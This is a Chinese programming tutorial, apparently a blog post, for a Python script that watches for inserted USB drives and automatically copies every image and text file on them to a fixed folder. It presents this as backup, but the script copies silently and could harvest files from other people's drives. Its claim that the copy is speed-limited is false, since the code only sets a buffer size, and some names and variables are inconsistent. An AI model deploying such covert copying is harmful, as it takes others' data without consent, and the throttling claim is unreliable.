Python自动化脚本:实现USB插入即自动复制文件

认真发呆
认真发呆
发布时间:2026-10-12| 3人浏览过
原创

本文介绍如何利用Python编写自动化脚本,实现USB驱动器插入时自动复制指定类型文件。通过psutil获取可移动磁盘列表,结合shutil进行文件拷贝,并支持速度限制与重复检测。脚本持续监控新插入设备,将图片及文本文件安全备份至目标路径,提升数据管理效率。

USB驱动器作为广泛使用的数据存储介质,在数据传输与备份场景中扮演着重要角色。

相比之下,手动执行文件复制操作往往效率较低,且容易因人为疏忽导致错误。

为此,我们可以借助Python编写自动化脚本,将这一过程程序化,从而显著提升操作效率并保障数据安全性。

准备工作

首先,需确保环境中已安装Python解释器,并导入以下核心库:os、shutil、time以及psutil。这些库分别负责文件系统操作、数据拷贝、时间控制及系统资源监测,共同支撑自动化功能的实现。

获取硬盘驱动器列表

该部分代码调用psutil库,旨在扫描并提取系统中所有可移动的磁盘驱动器(如常见的USB设备)的列表。

import psutil

def get_disk_drives():
    disk_partitions = psutil.disk_partitions(all=False)
    drives = [partition.device.upper() for partition in disk_partitions if partition.fstype != "" and "removable" in partition.opts]
    return drives

文件拷贝功能

此段代码定义了一个核心函数,用于将指定格式的文件(包括.jpg、.png图片及.txt文本文件)从源USB驱动器批量拷贝至预设的目标文件夹。

同时,该功能在复制过程中引入了数据传输速度限制机制,以防止因瞬时大数据量传输导致系统过载或响应迟缓。

import os
import shutil

def copy_ppt_files(source_folder, destination_folder, speed_limit_kb):
    for root, dirs, files in os.walk(source_folder):
        for file in files:
            if file.endswith((".jpg", ".png", ".txt")):
                src_file = os.path.join(root, file)
                dst_file = os.path.join(destination_folder, os.path.relpath(src_file, source_folder))
                os.makedirs(os.path.dirname(dst_file), exist_ok=True)
                with open(src_file, 'rb') as fsrc:
                    with open(dst_file, 'wb') as fdst:
                        shutil.copyfileobj(fsrc, fdst, length=speed_limit_kb * 1024)

检查新插入的USB驱动器

该函数负责周期性轮询,检测是否有新的USB驱动器插入系统,并在检测到新设备时,立即调用前述的文件拷贝函数,将特定类型的文件同步至指定的目标文件夹。

此外,程序通过维护一个“已知驱动器”列表来记录已处理过的设备,从而有效避免对同一驱动器的重复拷贝操作。

import time

def check_for_new_drive(speed_limit_kb=10240):
    drives = get_disk_drives()
    new_drives = [drive for drive in drives if drive not in known_drives]
    for new_drive in new_drives:
        known_drives.append(new_drive)
        print(f"New drive detected: {new_drive}")
        time.sleep(3)  # 等待3秒后再开始拷贝
        copy_ppt_files(new_drive, destination_drive, speed_limit_kb)

主程序

主程序入口负责初始化“已知驱动器”列表及目标存储路径。随后,通过循环调用check_for_new_drive函数,持续监控系统中新插入的USB驱动器状态。

if __name__ == "__main__":
    known_drives = []
    excluded_drives = [drive + ':' for drive in "ABCDEFGHIJKLMNOPQRSTUVWXYZ"]
    destination_drive = "H://u盘"  # 目标路径
    if not os.path.exists(destination_drive):
        os.makedirs(destination_drive)
    while True:
        check_for_new_drive()
        time.sleep(60)  # 每隔60秒检查一次

至此,关于使用Python实现USB自动复制文件的教程已介绍完毕。如需了解更多Python USB文件复制相关内容,欢迎查阅本站往期文章或继续浏览后续章节,感谢大家的支持!

相关标签:

免责声明:本文内容仅供参考,不代表本站观点。转载或引用请注明出处。

Python 相关产品和应用

全部下载
Selenium

Selenium

4.51.0 · Windows

用于浏览器自动化和 Web 测试的 Python 工具。

scikit-learn

scikit-learn

1.9.1 · Windows

常用 Python 机器学习算法与模型评估工具库。

Black

Black

26.10.1 · Windows

强调一致性的 Python 自动代码格式化工具。

Ruff

Ruff

0.17.1 · macOS

由 Rust 编写的高速 Python 代码检查和格式化工具。

pytest

pytest

9.1.1 · Windows

简洁而强大的 Python 自动化测试框架。

FastAPI

FastAPI

0.146.0 · Windows

高性能 Python API 框架,支持类型提示和自动接口文档。

Flask

Flask

3.1.3 · Windows

轻量灵活的 Python Web 应用框架。

Django

Django

6.1.2 · Windows

成熟的 Python Web 框架,适合构建内容站点和业务系统。

Spyder

Spyder

6.1.7 · Windows

面向科学计算与数据分析的 Python 集成开发环境。

SciPy

SciPy

1.18.1 · Windows

面向科学、工程和技术计算的 Python 算法库。